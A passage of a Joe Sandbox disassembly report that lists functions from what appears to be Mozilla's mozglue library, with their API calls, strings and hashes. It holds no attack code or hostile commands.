Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free
String ID: bl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-2077017665
Opcode ID: bf58ac1bc1d24218161c3589ffb3d371bdbbab0921e3c04237e4291c021297af
Instruction ID: fd98a7aa6ab75b5fd96447dc6d80028990b5f4b436d5addc800e05ca4dca9abc
Opcode Fuzzy Hash: bf58ac1bc1d24218161c3589ffb3d371bdbbab0921e3c04237e4291c021297af
Instruction Fuzzy Hash: B0722071918B858BD326CF34C85139BF7E5BFDA344F108B1DE4996B611EB70A886CB42

Function 6C5CD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD4F2
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD50B

Part of subcall function 6C5ACFE0: EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
Part of subcall function 6C5ACFE0: LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD52E
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CD6A6
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD712
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CD7EA

Strings

<jemalloc>, xrefs: 6C5CD827
: (malloc) Error initializing arena, xrefs: 6C5CD82C

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d29315c21f819302edc94ff9605a0aa35722c51b6b87dbc11c76b2282769ebf9
Instruction ID: b70a81f91e4c0ef53031cb780c280b10301117b476674437399d1e57aa31c196
Opcode Fuzzy Hash: d29315c21f819302edc94ff9605a0aa35722c51b6b87dbc11c76b2282769ebf9
Instruction Fuzzy Hash: BF91DE71B447018FD714CFB9C89076AB7E1EB89314F15893EE49AC7A81D738E845CB86

Function 6C604EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C604EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604F2E
moz_xmalloc.MOZGLUE ref: 6C604F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C604F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6052B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6052E6
Sleep.KERNEL32(00000010), ref: 6C605481
free.MOZGLUE(?), ref: 6C605498

Strings

(, xrefs: 6C605250

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 5c593d2faf7809f03efcff2bf2579bf411bce8eae0de8c22617e9788faa5ceca
Instruction ID: 39158aa9930defee7f6f2410cd12d6e3ea26330b2d5a9aa2321b8e55e89a3b3c
Opcode Fuzzy Hash: 5c593d2faf7809f03efcff2bf2579bf411bce8eae0de8c22617e9788faa5ceca
Instruction Fuzzy Hash: A0F1C471A18B508FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C607030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C607046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C607060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C60707E

Part of subcall function 6C5B81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5B81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C607096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C60709C
LocalFree.KERNEL32(?), ref: 6C6070AA

Strings

### ERROR: %s: %s, xrefs: 6C607087
(null), xrefs: 6C60706A, 6C607083

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 06a6c5acbe574e5695b5f25b035d488fdcb795529430589dfa6c10ab4672b0b2
Instruction ID: 207a2007d209c76fcff73cc7a9a3a79f5c3462527a4f563cb7ea939f4b7c1af7
Opcode Fuzzy Hash: 06a6c5acbe574e5695b5f25b035d488fdcb795529430589dfa6c10ab4672b0b2
Instruction Fuzzy Hash: 0C01B9B1A00104AFDB00AB65DC8ADEF7BBCEF89255F050435FA46A3241D67579188BA9

Function 6C5C9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5C9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C5C9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5C9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C5CA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5CA8B1, 6C5CA8D4, 6C5CA8EF

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: ae4ca745ea65f1ba15a3a0a723ee8c080cdc3be4442e1b30eabcab41ef43afa3
Instruction ID: 1fa50fc0e4c5f8589d2fcea6b4355c3d6b18af737ba4e5161772e2fe09930924
Opcode Fuzzy Hash: ae4ca745ea65f1ba15a3a0a723ee8c080cdc3be4442e1b30eabcab41ef43afa3
Instruction Fuzzy Hash: 39727A72A056118FD704CF68C980215FFE1BF89328F29C76DE8699B791D375E842CB82

Function 6C5F2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5F2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5F2C61

Part of subcall function 6C5A4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
Part of subcall function 6C5A4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5F2E2D

Part of subcall function 6C5B81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5B81DE

Strings

(root), xrefs: 6C5F354F
ProfileBuffer parse error: %s, xrefs: 6C5F2E3B
expected a Time entry, xrefs: 6C5F2E36

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 87563e9266fa5d9563851134e896654ca26429316ed0db3640f8f8dd36d38ba5
Instruction ID: 0505b8a4d4f82c47b004136eb30c6ac387f42898893907f90401523c696e4f8a
Opcode Fuzzy Hash: 87563e9266fa5d9563851134e896654ca26429316ed0db3640f8f8dd36d38ba5
Instruction Fuzzy Hash: 0591C0B06087808FD728DF28C89069EB7E1AFC9358F50491DE9AA87751DB30D94ACF57

Function 6C609E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C609F3D
__aulldiv.LIBCMT ref: 6C609F77
__aullrem.LIBCMT ref: 6C609F8C
__aulldiv.LIBCMT ref: 6C60A023

Strings

NaN, xrefs: 6C609EAB
-Infinity, xrefs: 6C609E60, 6C609E7B

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 08fe296fd98c543bd08ddaf4f9fb7262684944f89363a70c6d1e94d342d46ebf
Instruction ID: 3903b1d65cf20848c713342c61e83fb4e205740b53b16c797599721de9d6bb7c
Opcode Fuzzy Hash: 08fe296fd98c543bd08ddaf4f9fb7262684944f89363a70c6d1e94d342d46ebf
Instruction Fuzzy Hash: 29C1AD71B04318CBDB18CFA8C9907DEB7B6AF84348F144529D406BBB82DB71AD49CB95

Function 6C5AD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 6C5ADC08
1, xrefs: 6C5ADBDD
-, xrefs: 6C5AD7DD
, xrefs: 6C5ADA88
@, xrefs: 6C5ADAF6
0, xrefs: 6C5AD852
9, xrefs: 6C5ADE7F
0, xrefs: 6C5ADC7F

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 0469f94be94e5154d43afb35b44d633da74d80ede508b27f3299f66545a9d1f3
Instruction ID: ce249c2d85c15ab09f3eef36ed71f8285139c425f59ba3cebf0aee1566210d87
Opcode Fuzzy Hash: 0469f94be94e5154d43afb35b44d633da74d80ede508b27f3299f66545a9d1f3
Instruction Fuzzy Hash: F162CF7150C3458FD705EE9AC89075EBBF2AF8A318F184A0DECE54BA51D335D986CB82

Function 6C61545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C618A4B

Strings

~qZl, xrefs: 6C61921F, 6C619269, 6C615740, 6C6156C7, 6C615703, 6C619459, 6C61948F

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: ~qZl
API String ID: 2221118986-4224160377
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: f3e47a8d9a74a4474d5a803e9fdfebcbba9b27d2980a759e6adc3b010f372e4b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 46B1D772E0821A8FDB14CF6CCC917E9B7B2EF85314F1902A9C549DBB91D730A985CB94

Function 6C61542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6188F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C61925C

Strings

~qZl, xrefs: 6C61921F, 6C619269, 6C615740, 6C6156C7, 6C615703, 6C619459, 6C61948F

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: ~qZl
API String ID: 2221118986-4224160377
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a8bd9fab5e846487c4916218042354b369f0e030be6045cf2dedb52953ff0e03
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 77B1C572E0820A8FDB14CF6CCC816EDB7B2AF85314F190279C549DBB95D730A989CB94

Function 6C60C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C60C0E9), ref: 6C60C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C60C437
FreeLibrary.KERNEL32(?,6C60C0E9), ref: 6C60C44C

Strings

NtQueryVirtualMemory, xrefs: 6C60C431
ntdll.dll, xrefs: 6C60C413

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 9786a22231714566ad89453b8477d514271840b62303c6b74f073385d70dd9da
Instruction ID: 9bdf78e303547c56877abce20579eb2b07751252da307d4fe5d1ae9b2055ef5d
Opcode Fuzzy Hash: 9786a22231714566ad89453b8477d514271840b62303c6b74f073385d70dd9da
Instruction Fuzzy Hash: 64E0B678705311ABEF007F77CA98711BBF8FB46745F044516EA4699611EBBCC0028B5E

Function 6C5B9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6C5BA625
0, xrefs: 6C5BAB22
' , xrefs: 6C5BA3D8
0, xrefs: 6C5BA100
1, xrefs: 6C5BA824
9, xrefs: 6C5BA5D6

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: b42bb043a4edba41b499c133d5b18d0f056f612fdd29510ed29ef5fe102c565c
Instruction ID: 48fa66d57d283930fb65c40dbd526f67676e69234deaf4743b0921c3a37ebd22
Opcode Fuzzy Hash: b42bb043a4edba41b499c133d5b18d0f056f612fdd29510ed29ef5fe102c565c
Instruction Fuzzy Hash: 9D82F3719093558BD711CF09C8B026EBFF1FB85718F55892AE8D567E80D335A886CB82

Function 6C5ABEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5AC1CB
__aulldiv.LIBCMT ref: 6C5AC24C
__aulldiv.LIBCMT ref: 6C5AC348
__aullrem.LIBCMT ref: 6C5AC365
__aulldiv.LIBCMT ref: 6C5AC37D

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 245de6b99100109a57bad00e34f5c3793610824de2aaf491627289bb8ed5cf52
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 98322732B046118FC718DE6DC89065ABBE6AFC9310F09867DE495CB395D731ED06CB91

Function 6C5F77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F7A93

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F7AA1

Part of subcall function 6C5C5C50: __aulldiv.LIBCMT ref: 6C5C5DB4
Part of subcall function 6C5C5C50: LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C5F7B31

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3be9d5ebbc94468330d08ce3e294e338f25462bcaf71d3275db2f84d96b0b746
Instruction ID: a423371302ea8f4e9747c20eb7d9f1d6ee17ab8ebaf823c9f9e39393cb153d5e
Opcode Fuzzy Hash: 3be9d5ebbc94468330d08ce3e294e338f25462bcaf71d3275db2f84d96b0b746
Instruction Fuzzy Hash: 5FB17B356083848BDB18CE25C85065FB7E3BBC9358F154A1CE9A567B91DB70ED0BCB82

Function 6C5C8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C9813, 6C5C985D, 6C5C9878, 6C5C9CEB
MOZ_CRASH(), xrefs: 6C5C97EA

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 9f040d1a21552f8367d704b9dfd2ef38a30a1ab9c9908b27cb9c785c7fdf1f80
Instruction ID: 8f95e921b366a0e6f68117a83a2b2a19057236243acd26d1dd961e15aa4948f0
Opcode Fuzzy Hash: 9f040d1a21552f8367d704b9dfd2ef38a30a1ab9c9908b27cb9c785c7fdf1f80
Instruction Fuzzy Hash: 04D27C71B056018FD708CF59C990715BBE1BF85328F29C76DE86A8B7A5D731E841CB82

Function 6C5E6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C5E6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E6E1E

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9e467d996098dfdbd152d872459069a59b024ef965ec3c3f6f8f7c3185252de0
Instruction ID: aba1f1f3467fbc824ed1d48b9b1324115ea66d09b32d871feaab0bfb83725fb3
Opcode Fuzzy Hash: 9e467d996098dfdbd152d872459069a59b024ef965ec3c3f6f8f7c3185252de0
Instruction Fuzzy Hash: 72A18B70618384CFDB15CF25C8907AEBBE2BFC9348F04491DE99A87751DB70A949CB82

Function 6C60B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C5DFE3F), ref: 6C60B720
RtlNtStatusToDosError.NTDLL ref: 6C60B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C5DFE3F), ref: 6C60B760

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
